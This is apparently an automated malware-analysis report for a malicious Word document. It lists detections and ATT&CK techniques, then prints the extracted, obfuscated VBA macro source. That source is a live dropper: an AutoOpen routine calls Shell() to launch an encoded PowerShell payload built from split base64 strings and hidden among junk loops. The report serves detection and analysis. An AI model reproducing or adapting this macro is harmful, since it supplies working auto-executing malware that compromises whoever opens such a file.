MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. The Autoopen macro triggers a Shell() call, which is designed to download and execute a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6584270-0' further confirms its malicious nature as a dropper.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6584270-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6584270-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12880 bytes |
SHA-256: e35094a00d5997b92aaccb3a66b421cee03f1cd0d37c825a843a949e9037309a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ArbVhjnohi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function QjwIhZ()
On Error Resume Next
For RWnhk = EpFdM To HKrkVm
For OXONa = FPMIE To 90198
mODZQf = (13819 / CBool(irXHpR) - rZmVhi / Oct(81581 / Hex(74392) / JMXiu + Rnd(jBidss / Fix(37))))
Next
SUpfQ = 69015 - 62143
Next
For FlrdXm = iNEvc To PEHcr
For KWYLYj = HSfBOG To 12256
DafBW = (10913 / CBool(SUZwQ) - CQiCZ / Oct(96584 / Hex(41915) / jaTum + Rnd(EDLppV / Fix(37))))
Next
LdbaUf = 187 - 7522
Next
QjwIhZ = sEJGzCroE + Shell(AQjrPYIJJ + Chr(dwYjRJ + vbKeyP + huTijc) + "owers" + vwAjjP + uiuHN + fTRQjz + ijCUi, 8512 - 8512)
For mbSdE = zzpIk To WAMGka
For PIjHu = rmHcE To 35067
Rcorb = (17550 / CBool(CGMAhl) - odOTkF / Oct(88772 / Hex(78559) / CUYLMP + Rnd(XkqOYu / Fix(37))))
Next
VfazD = 17225 - 92610
Next
End Function
Sub Autoopen()
On Error Resume Next
For aJTDIs = UMbch To XDzNnQ
For PrWauR = oJGqfz To 36418
OsJGwO = (32022 / CBool(nvNZwb) - lQsGUj / Oct(74856 / Hex(86677) / qzTKG + Rnd(whSdoF / Fix(37))))
Next
jTawN = 67500 - 58492
Next
QjwIhZ
For svMjUa = swKbzB To wvFXC
For fGUmYh = YfVVDO To 52917
EGilJJ = (79282 / CBool(SNFCQ) - fsqjf / Oct(4181 / Hex(71665) / ZHmrPM + Rnd(oXkZRs / Fix(37))))
Next
blsppm = 4685 - 49644
Next
End Sub
Attribute VB_Name = "fTBAcfXjZ"
Function vwAjjP()
On Error Resume Next
For sNJBHF = BJkzn To MbatNp
For jbzqim = URkrtj To 26395
uVVHcJ = (15903 / CBool(sbVboJ) - ZGnXw / Oct(33473 / Hex(30490) / SUUDj + Rnd(sGGji / Fix(37))))
Next
EYGMfb = 1946 - 9526
Next
ucRzwAQ = "HeLL -e IAAo" + "AG4AZQBXAC" + "0ATwBCAEoA" + "ZQBjAFQAIA" + "BJAG8ALgBzAF" + "QAcgBFAGEATQB" + "SAEUA"
For NLvKu = lGIOQ To CCmHFY
For zVPvJ = SAzasX To 31533
EEJYs = (80546 / CBool(HzzRO) - CVTEZ / Oct(5925 / Hex(98893) / tzPmi + Rnd(KlfQrA / Fix(37))))
Next
wzdiM = 66240 - 76994
Next
pEamjs = "QQBEAGUAUgAo" + "ACgAIABuAGU" + "AVw" + "AtAE8AQgBKA" + "GUAY" + "wBUAC" + "AAcwB" + "5AHMAVA" + "BFAG"
For VSivaQ = jVTUQF To HtmKO
For VUhZO = DXqWMU To 21906
XflqH = (21569 / CBool(FJwWjO) - qjvCUl / Oct(44301 / Hex(2597) / EhsMHq + Rnd(HzFsnb / Fix(37))))
Next
wCDXP = 20796 - 70111
Next
mzsFlZluzwV = "0AL" + "gBJAG8ALgBjAE" + "8AbQBQAHIARQB" + "zAHMAaQBvA"
For iTQhG = KAapWu To JPwXPJ
For XdVAPb = zQNHqA To 3060
YvajZ = (94892 / CBool(fCRhbn) - EzABvf / Oct(2402 / Hex(95954) / SiaKj + Rnd(iftfG / Fix(37))))
Next
CzfkrY = 96880 - 36318
Next
pQYuQrdm = "G4ALgBEA" + "GUAZgBMAGEAVABF" + "AHMAdAByAGUAYQ" + "BtA" + "CgAWwB" + "JAE8AL" + "gBtAGUA"
For hAMMMN = pFVBa To IFwmPS
For lnwjw = CVQDH To 5522
hkiOwX = (98674 / CBool(qoJFQX) - ZlFIfw / Oct(93827 / Hex(89260) / fPLLl + Rnd(COwvz / Fix(37))))
Next
aknsT = 84193 - 91931
Next
TrWOwnKCZu = "bQB" + "vAHIAeQ" + "Bz" + "AHQAcgBlAGEAT" + "QBdAF" + "sAYwBPAE4Adg"
For mbfiNv = wzWjkp To jiMorR
For uGUZQz = RQMGA To 91049
Dkjzp = (86834 / CBool(PbPMi) - AFjiAi / Oct(24581 / Hex(84525) / KEwwi + Rnd(iJZjuK / Fix(37))))
Next
wfqBYi = 60909 - 60137
Next
jYLGTnVm = "BFAFIAdABdAD" + "oA" + "OgBm" + "AFIAbwBNA" + "EIAQ" + "QBzAGUANg"
For MizAM = iGWiYi To bAtOX
For RqcnpV = AnwGi To 23622
FsOwiU = (97207 / CBool(SNLlwZ) - qIJLz / Oct(26360 / Hex(29658) / uJfFju + Rnd(QEMtU / Fix(37))))
Next
lzkCip = 44759 - 29541
Next
VLzoETAkH = "A0AHMAVABSAE" + "kATgBnA" + "CgAJwBW" + "AFoA"
For EYhzzq = TNbpIT To zOPhLz
For YDFTE = ZIRXs To 39242
FHYmz = (32659 / CBool(kzRib) - KlnTI / Oct(23467 / Hex(34845) / fUcds + Rnd(XKwDzo / Fix(37))))
Next
jsqck = 88639 - 57234
Next
OfAKLUMcW = "QgB0AFQAO" + "ABJAHcARgBJAFg" + "ALwBTAGoAOABzAE" + "cAVQ" + "BSAHAAUQ" + "BjAFcAMwB"
For Zmasm = oUwPf To wZ
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.